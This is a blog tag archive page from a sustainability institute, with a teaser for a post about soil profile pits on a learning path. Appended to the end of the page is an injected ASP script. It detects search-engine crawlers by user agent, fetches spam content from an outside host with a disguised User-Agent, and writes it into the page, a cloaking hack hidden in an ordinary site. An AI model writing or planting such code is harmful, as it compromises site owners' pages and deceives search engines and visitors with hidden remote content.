Tag Archive: earth

Oct 31

Profile Pits Installed on CMN Learning Path

Written by: Adam Voight What do you think of when I say the word soil? Do you think of the dirt that stains our pants and gets under our fingernails? Or do you think of muddy foot tracks on the carpet or puddle jumping in the rain?  While these thoughts may be what come to your mind …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2016/10/profile-pits-installed-on-cmn-learning-path/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>